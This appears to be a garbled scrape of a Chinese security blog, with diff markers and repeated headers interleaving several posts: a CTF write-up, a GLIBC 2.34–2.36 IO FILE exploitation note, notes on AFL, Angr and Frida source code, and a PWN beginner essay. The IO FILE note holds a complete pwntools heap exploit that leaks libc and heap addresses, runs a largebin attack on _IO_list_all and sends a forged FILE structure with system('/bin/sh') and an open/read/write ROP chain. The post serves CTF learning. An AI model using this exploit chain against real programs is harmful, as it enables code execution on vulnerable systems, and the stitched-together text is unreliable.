闲言

感觉大佬们都没来,让我混到第三名了。估计二进制大佬们全都是打 ASIS final 了,就我这个废物不配打QAQ

题目感觉都不是很难,主要还是我比较菜,做题速度太慢了,以及第一天睡大觉晚了好久上线,不然可能可以多刷几个前三血,不过没奖励,前十血就能捐猫粮了,也就无所谓了。

PWN这边内核直接不会,开始摆烂,其他几题看到后面已经完全摆烂了,就没继续看了。injection2.0 那道题本地的环境一直打不开,最后开了远程环境随便看了看感觉还行就搞了一下。

@@ -69,7 +69,7 @@

welcome_CAT_CTF

这题我是直接拿 gdb 搞定的,没写 exp。题目给了服务端和客户端,然后分数是储存在客户端的,所以直接用 gdb 改内存设成大数,然后直接改寄存器跳转执行后门函数就可以了(忘记截图了)

WEB

ez_js

访问一下那个 game.js 就发现里面写了 flag 的路径,然后直接过去就行了:

-

GLIBC2.34以后的IO FILE利用链

文章发布时间:

最后更新时间:

本文纪录一个较为好用的,适用于GLIBC2.34-2.36的 IO FILE 利用链表,因为我个人比较爱用,且具备一定的泛用性,而且个人认为要比其他的好理解,因此记录一下。

+}

GLIBC2.34以后的IO FILE利用链

First Post:

Last Update:

本文纪录一个较为好用的,适用于GLIBC2.34-2.36的 IO FILE 利用链表,因为我个人比较爱用,且具备一定的泛用性,而且个人认为要比其他的好理解,因此记录一下。

触发利用的部分参考:https://tttang.com/archive/1845/,本文直接套用了 payload。

首先最好能够覆盖 IO_all_list 的值为 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = flat(
{
0x8:1,
0x10:0,
0x38:address_for_rdi,
0x28:address_for_call,
0x18:1,
0x20:0,
0x40:1,
0xe0:heap_base + 0x250,
0xd8:libc_base + get_IO_str_jumps() - 0x300 + 0x20,
0x288:libc_base+libc.sym["system"],
0x288+0x10:libc_base+next(libc.search(b"/bin/sh\x00")),
0x288+0x18:1
},
filler = '\x00'
)
p.send(payload)
@@ -30,7 +30,7 @@
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
context.log_level="debug"
context(arch = "amd64")
#p=process("./vuln")
p=remote("week-4.hgame.lwsec.cn",30858)
elf=ELF("./vuln")
libc=elf.libc
def add(index,size):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))

def delete(index):
p.recvuntil(">")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))

def edit(index,context):
p.recvuntil(">")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.send(context)

def show(index):
p.recvuntil(">")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))

add(0,0x518)#0
add(1,0x798)#1
add(2,0x508)#2
add(3,0x798)#3
delete(0)

show(0)
libc_base=u64(p.recvuntil(b"\x7f").ljust(8,b'\x00'))-(0x7f6689476cc0-0x7f6689280000)
print("leak_addr: "+hex(libc_base))
add(4,0x528)

edit(0,"a"*16)
show(0)
p.recv(16)
heap=u64(p.recv(6).ljust(8,b'\x00'))
heap_base=heap-(0x55e99882e290-0x55e99882e000)
print("heap_addr: "+hex(heap_base))
recover=libc_base+(0x7f7d45c370f0-0x7f7d45a40000)
edit(0,p64(recover)*2)

delete(2)

target_addr = libc_base+libc.sym["_IO_list_all"]-0x20
print(hex(target_addr))
target_heap=libc_base+(0x563df74c9140-0x563df74c7000)-(0x56193a0a4d40-0x56193a0a2140)
level_ret=0x000000000005591c+libc_base

edit(0,p64(libc_base+0x7f4c865a90f0-0x7f4c863b2000) * 2 + p64(heap_base+0x000055a6af7b3290-0x55a6af7b3000) + p64(target_addr))#largebin attack

add(5,0x528)#5

gadget3=libc_base+(0x00007f2195256f0a-0x7f21950f4000)
level_ret=0x000000000050757+libc_base
pop_rdi_gad=0x0000000000023eb5+libc_base
pop_rdi=0x0000000000023ba5+libc_base
pop_rsi=0x00000000000251fe+libc_base
pop_rdx_rbx=0x000000000008bbb9+libc_base
pop_rax=0x000000000003f923+libc_base
syscall_addr=0x00000000000227b2+libc_base

def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr

address_for_rdi=libc_base
address_for_call=libc_base
payload = flat(
{
0x8:1,
0x10:0,
0x38:heap_base+0xf50+0xe8,
0x28:gadget3,
0x18:1,
0x20:0,
0x40:1,
0xd0:heap_base + 0xf50,
0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20,
},
filler = '\x00'
)
payload+=p64(level_ret)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+(b"flag\x00\x00\x00\x00")+p64(heap_base+0xf50+0xe8+72)
payload+=p64(pop_rdi_gad)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)
payload+=p64(pop_rdi)+p64(heap_base+0xf50+0xe8+64)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(libc_base+libc.sym['open'])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['read'])
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['write'])

print("targe_heap: "+hex(heap_base+0x5619dd9ecf60-0x5619dd9ec000))
edit(2,payload)#2
p.recvuntil(">")
p.sendline("5")
p.interactive()

除了用于触发 IO 的一个模板,下面的内容其实主要是在构造 ROP,如您所见,这能方便我很多工作。因为很多时候用于触发 IO 是通过 largebin attack 完成的,在这种情况下,这个方法能够适用。

-

AFL 源代码速通笔记

文章发布时间:

最后更新时间:

AFL 源代码速通笔记

因为认识的师傅们都开始卷 fuzz 了,迫于生活压力,于是也开始看这方面的内容了。由于 AFL 作为一个现在仍然适用且比较经典的 fuzzer,因此笔者也打算从它开始。

+}

AFL 源代码速通笔记

First Post:

Last Update:

AFL 源代码速通笔记

因为认识的师傅们都开始卷 fuzz 了,迫于生活压力,于是也开始看这方面的内容了。由于 AFL 作为一个现在仍然适用且比较经典的 fuzzer,因此笔者也打算从它开始。

本来,本篇博文叫做 《AFL 源代码阅读笔记》,结果跟着大佬们的笔记去读(sakura师傅的笔记确实是神中神,本文也有很多地方照搬了师傅的原文,因为说实话我觉得自己也写不到那么详细),囫囵吞枣般速通了,前前后后三天时间这样,但感觉自己尚且没有自己实现的能力,还是比较令人失望的(我怎么这么菜)

@@ -425,7 +425,7 @@

AFL二三事——源码分析
https://paper.seebug.org/1732/#afl-afl-asc

AFL漏洞挖掘技术漫谈(一):用AFL开始你的第一次Fuzzing
https://paper.seebug.org/841/

-

Angr 使用技巧速通笔记(一)

文章发布时间:

最后更新时间:

前言

在基本了解了模糊测试以后,接下来就开始看看一直心心念念的符号执行吧。听群友说这个东西的概念在九几年就有了,算是个老东西,不过 Angr 本身倒是挺新的,看看这个工具能不能有什么收获吧。

+}

Angr 使用技巧速通笔记(一)

First Post:

Last Update:

前言

在基本了解了模糊测试以后,接下来就开始看看一直心心念念的符号执行吧。听群友说这个东西的概念在九几年就有了,算是个老东西,不过 Angr 本身倒是挺新的,看看这个工具能不能有什么收获吧。

按照计划,一方面是 Angr 的使用技巧,另一方面是 Angr 的源代码阅读。不过因为两者的内容都挺多的,所以本篇只写使用技巧部分,如果未来有这样的预订,或许还会有另外一篇。希望以我这种菜鸡水平也能看得懂吧。

Angr 的基本描述

首先在开始解释 Angr 的各个模块和使用之前,我们需要先对它是如何工作的有一个大概的认识。

我们一般用 Angr 的目的其实就是为了自动化的求解输入,比如说逆向或是 PWN。而它的原理被称之为“符号执行”。

@@ -119,7 +119,7 @@

https://xz.aliyun.com/t/7117

angr documentation
https://docs.angr.io/en/latest/quickstart.html

-

Angr 使用技巧速通笔记(二)

文章发布时间:

最后更新时间:

前言

第一章的时候大概讲了 Angr 的一些基本概念和使用,我思量着应该要弄点实际的东西来练练才能把这个工具用熟捻。

+}

Angr 使用技巧速通笔记(二)

First Post:

Last Update:

前言

第一章的时候大概讲了 Angr 的一些基本概念和使用,我思量着应该要弄点实际的东西来练练才能把这个工具用熟捻。

最经典的使用案例无疑是 angr_ctf 中的那些了:

https://github.com/jakespringer/angr_ctf

@@ -307,7 +307,7 @@

结语

其实做完这么多题目,尽管感叹 Angr 确实厉害的同时,也不得不承认它仍然有很多的问题,也并没有想象中那么完美。或许要让它走向更加实用的方向还需要一定的积累吧。

-

Frida-Core 源代码分析解读

文章发布时间:

最后更新时间:

前言

书接上文,在理解了 frida 是如何对代码进行 hook 的以后,接下来笔者打算研究一下 Frida 是如何与用户进行交互实现动态的 hook 。因此还是按照前文的逻辑,我们从 frida-core 开始。

+}

Frida-Core 源代码分析解读

First Post:

Last Update:

前言

书接上文,在理解了 frida 是如何对代码进行 hook 的以后,接下来笔者打算研究一下 Frida 是如何与用户进行交互实现动态的 hook 。因此还是按照前文的逻辑,我们从 frida-core 开始。

前篇:《Frida-gum 源代码速通笔记》https://bbs.kanxue.com/thread-278423.htm

@@ -202,7 +202,7 @@

总结如果仅凭上文的分析,主机端通过 IPC 通信去调用设备上对应的函数从而启动了应用,但是原生启动是不通过 IPC 的,这种情况下,frida-gadget 要如何工作呢?它还会正常去启动应用吗?

问了一些师傅,他们表示 Android 平台下,即便注入的 frida-gadget 也是可以正常点击打开的,但是笔者在 iOS16 上测试发现这将导致闪退,但是诡异的是,我能够用 frida -U -f bundleid 正常打开应用。
而在 iOS14 上,笔者发现应用将会停在启动页面无法继续执行,并且 frida 也没办法附加,以及 frida -U -f bundleid 也无法正常启动了,唯独 Xcode 启动时,一切正常,这十分的诡异。

以上问题目前笔者还不清楚原因,欢迎师傅们讨论。

-

Frida-gum 源代码分析解读

文章发布时间:

最后更新时间:

前言

最近做一些逆向的时候卡住了,感觉自己对 frida 的了解过于浅薄了,由于自己对安全研究的一些坏习惯,因此不读一下 frida 的源码就理解不了它的实现原理,于是直接就拿起来开始看了。(尽管现在做的不是安全研究,但希望这种习惯能延续下去吧。)

+}

Frida-gum 源代码分析解读

First Post:

Last Update:

前言

最近做一些逆向的时候卡住了,感觉自己对 frida 的了解过于浅薄了,由于自己对安全研究的一些坏习惯,因此不读一下 frida 的源码就理解不了它的实现原理,于是直接就拿起来开始看了。(尽管现在做的不是安全研究,但希望这种习惯能延续下去吧。)

不得不说,frida 的代码写的是真的赏心悦目,像我这样阅读代码的苦手都能大致通过语义理解原理,我只能说,非常有感觉!

源代码目录

Frida 的源代码目录结构按照模块进行区分,本文只选择其中几个笔者认为比较重要的部分进行分析:

我们对 PWN 都有哪些误会

文章发布时间:

最后更新时间:

+}

我们对 PWN 都有哪些误会

First Post:

Last Update:

应安恒的邀请,笔者撰写了本文。希望它能帮到那些想要入门 PWN ,却又不知如何是好的新人。

前言

刚入学的时候问了一些大哥们 CTF 中都有哪些方向,分别是做什么的,以及难易度如何,对于难易度方面,大哥们基本上都会回答 “PWN” 是入门最困难的方向。这对于当时一无所知的我造成了巨大的心理压力,但由于队内基本上没有其他师傅做这个方向,所以最开始是半推半就的选择了它。

@@ -165,7 +165,7 @@

结语

不知道各位有没有发现,我似乎总是倾向于用文字而非图片或其他形式进行表达。

由于我在编写文档时总是习惯用 markdown 这种标记语言进行编辑,这种文档显示出来的效果会因不同的编辑器而异,所以尽管 Obsidian 的风格非常优雅,但为了兼容性考虑,我还是在大多数时候避免使用表格和图片,后者主要是因为图片的非常耗时。出于种种考虑,如果您希望以一种快捷的方式撰写文档,我也推荐您使用 markdown 代替 word 文档。

最后再贴个自己的小博客:tokameine.top

-

自我的弱点

文章发布时间:

最后更新时间:

我最悲哀的地方莫过于自己目光短浅与性格怯懦。

-

现代人的孤独和国家制度的不完善造就了当下社会的怪物。

+}

自我的弱点

First Post:

Last Update:

我最悲哀的地方莫过于自己目光短浅与性格怯懦。

+

现代人的孤独和国家制度的不完善造就了当下社会的哥布林。

记于:2023-10-7

-

about


感谢您的到访。

+}

about


感谢您的到访。

TokameinE

简单起见,您也可以称呼我为 “Toka”

该名字实际上是由“托卡梅尼”根据读音改来的,名字本身仅对我个人而言存在些许纪念意义,并无实际的意向对应。

计算机技能栈

    @@ -53,7 +53,7 @@

    版权注:若只是引用学习笔记中的内容,只需要在文章内附带原文链接即可。

    所有学习笔记均采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。其他内容请务必联系管理员详谈。

    网站大多插图均来自网络,侵删致歉

    -